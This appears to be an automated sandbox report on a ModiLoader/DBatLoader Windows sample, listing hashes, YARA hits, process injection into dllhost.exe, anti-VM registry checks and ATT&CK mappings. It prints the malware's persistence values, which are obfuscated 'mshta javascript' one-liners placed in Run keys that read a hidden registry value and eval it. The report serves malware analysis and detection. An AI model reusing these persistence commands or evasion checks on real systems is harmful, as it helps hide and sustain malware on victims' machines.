Analysis
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max time kernel
119s -
max time network
120s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
16/01/2025, 15:32
Static task
static1
Behavioral task
behavioral1
Sample
d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe
Resource
win10v2004-20241007-en
General
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Target
d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe
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Size
292KB
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MD5
91c79b354bc46a9e3c5da56e8310373a
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SHA1
4b53af252dea66cadb2b0ed1c92f06ea29d6ee9c
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SHA256
d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f
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SHA512
dcde6d9134dad088228dfe211ba3caf79d734add11e656feebd6c6284a8247fcf2aad490db238f7421a74f70e8e239f1fb93701e037c51134a439b8ef0673b61
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SSDEEP
6144:rxXxHSVsB5iOeJc7mbFmt6Bqcmhy4175aZkVpN+iAuTOPW9njTWid:rxXxycUOeJc7mbctPcmhH1gZsh3Ou9f9
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Modiloader family
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions dllhost.exe -
ModiLoader Second Stage 47 IoCs
resource yara_rule behavioral2/memory/396-2-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral2/memory/396-5-0x000000000DD40000-0x000000000DE04000-memory.dmp modiloader_stage2 behavioral2/memory/396-4-0x000000000DD40000-0x000000000DE04000-memory.dmp modiloader_stage2 behavioral2/memory/396-3-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral2/memory/2780-12-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/396-11-0x000000000DD40000-0x000000000DE04000-memory.dmp modiloader_stage2 behavioral2/memory/2780-13-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/396-6-0x0000000000400000-0x0000000001400000-memory.dmp modiloader_stage2 behavioral2/memory/396-10-0x0000000000400000-0x0000000000436000-memory.dmp modiloader_stage2 behavioral2/memory/3292-21-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-24-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-20-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-26-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-25-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-22-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-19-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-27-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-23-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/2780-14-0x0000000000A00000-0x0000000000AC4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-28-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-29-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/5096-32-0x0000000000A10000-0x0000000000AD4000-memory.dmp modiloader_stage2 behavioral2/memory/5096-35-0x0000000000A10000-0x0000000000AD4000-memory.dmp modiloader_stage2 behavioral2/memory/5096-36-0x0000000000A10000-0x0000000000AD4000-memory.dmp modiloader_stage2 behavioral2/memory/5096-37-0x0000000000A10000-0x0000000000AD4000-memory.dmp modiloader_stage2 behavioral2/memory/5096-34-0x0000000000A10000-0x0000000000AD4000-memory.dmp modiloader_stage2 behavioral2/memory/5096-33-0x0000000000A10000-0x0000000000AD4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-41-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-46-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-45-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-44-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-43-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-39-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-40-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-38-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-42-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3024-50-0x0000000001200000-0x00000000012C4000-memory.dmp modiloader_stage2 behavioral2/memory/3024-53-0x0000000001200000-0x00000000012C4000-memory.dmp modiloader_stage2 behavioral2/memory/3024-54-0x0000000001200000-0x00000000012C4000-memory.dmp modiloader_stage2 behavioral2/memory/3024-52-0x0000000001200000-0x00000000012C4000-memory.dmp modiloader_stage2 behavioral2/memory/3024-51-0x0000000001200000-0x00000000012C4000-memory.dmp modiloader_stage2 behavioral2/memory/3024-56-0x0000000001200000-0x00000000012C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-65-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-68-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-67-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-66-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 behavioral2/memory/3292-64-0x0000000000800000-0x00000000008C4000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run dllhost.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:Kj1S7zoS=\"Mqi\";b9p=new%20ActiveXObject(\"WScript.Shell\");Fc1BKMFw=\"4dwtF4vTI\";SJ0Is1=b9p.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\d8a729aa\\\\420e885f\");ON0JK9zLL=\"s\";eval(SJ0Is1);sGvHVlwk6=\"z2j\";" dllhost.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools dllhost.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion dllhost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion dllhost.exe -
Deletes itself 1 IoCs
pid Process 3292 dllhost.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Q8dSvQSZM=\"3\";R2q=new%20ActiveXObject(\"WScript.Shell\");mrqEdZr6=\"GrB1\";aUz9V=R2q.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\d8a729aa\\\\420e885f\");FeXrirez8=\"UruFDTUCQw\";eval(aUz9V);EznML2K0Bd=\"E6SG8nmjB0\";" dllhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Xc19dPZnu=\"vKa3b\";ET86=new%20ActiveXObject(\"WScript.Shell\");k74nyJvgQ=\"Wc6HmJS93h\";Zcl58U=ET86.RegRead(\"HKCU\\\\software\\\\d8a729aa\\\\420e885f\");UnjV9xht=\"2s2g8\";eval(Zcl58U);KYK9X1PNdP=\"PUNtI\";" dllhost.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum dllhost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 dllhost.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1500 set thread context of 396 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 84 -
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dllhost.exe -
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0" dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Key created \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl dllhost.exe Key created \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\International dllhost.exe Key created \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe Set value (int) \REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" dllhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION dllhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0" dllhost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
pid Process 396 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 396 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 396 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 2780 dllhost.exe 2780 dllhost.exe 2780 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe 3292 dllhost.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 1500 wrote to memory of 396 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 84 PID 1500 wrote to memory of 396 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 84 PID 1500 wrote to memory of 396 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 84 PID 1500 wrote to memory of 396 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 84 PID 1500 wrote to memory of 396 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 84 PID 1500 wrote to memory of 396 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 84 PID 1500 wrote to memory of 396 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 84 PID 1500 wrote to memory of 396 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 84 PID 1500 wrote to memory of 396 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 84 PID 1500 wrote to memory of 396 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 84 PID 1500 wrote to memory of 396 1500 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 84 PID 396 wrote to memory of 2780 396 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 85 PID 396 wrote to memory of 2780 396 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 85 PID 396 wrote to memory of 2780 396 d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe 85 PID 2780 wrote to memory of 3292 2780 dllhost.exe 86 PID 2780 wrote to memory of 3292 2780 dllhost.exe 86 PID 2780 wrote to memory of 3292 2780 dllhost.exe 86 PID 3292 wrote to memory of 5096 3292 dllhost.exe 88 PID 3292 wrote to memory of 5096 3292 dllhost.exe 88 PID 3292 wrote to memory of 5096 3292 dllhost.exe 88 PID 3292 wrote to memory of 3024 3292 dllhost.exe 89 PID 3292 wrote to memory of 3024 3292 dllhost.exe 89 PID 3292 wrote to memory of 3024 3292 dllhost.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe"C:\Users\Admin\AppData\Local\Temp\d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Users\Admin\AppData\Local\Temp\d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe"C:\Users\Admin\AppData\Local\Temp\d2f6ef2ea3482832156c0ce7b641fcb71c527b340ccd8b15e98d635e9324051f.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:396 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2780 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe4⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3292 -
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"5⤵
- System Location Discovery: System Language Discovery
PID:5096
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C:\Windows\SysWOW64\explorer.exeexplorer.exe5⤵
- System Location Discovery: System Language Discovery
PID:3024
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2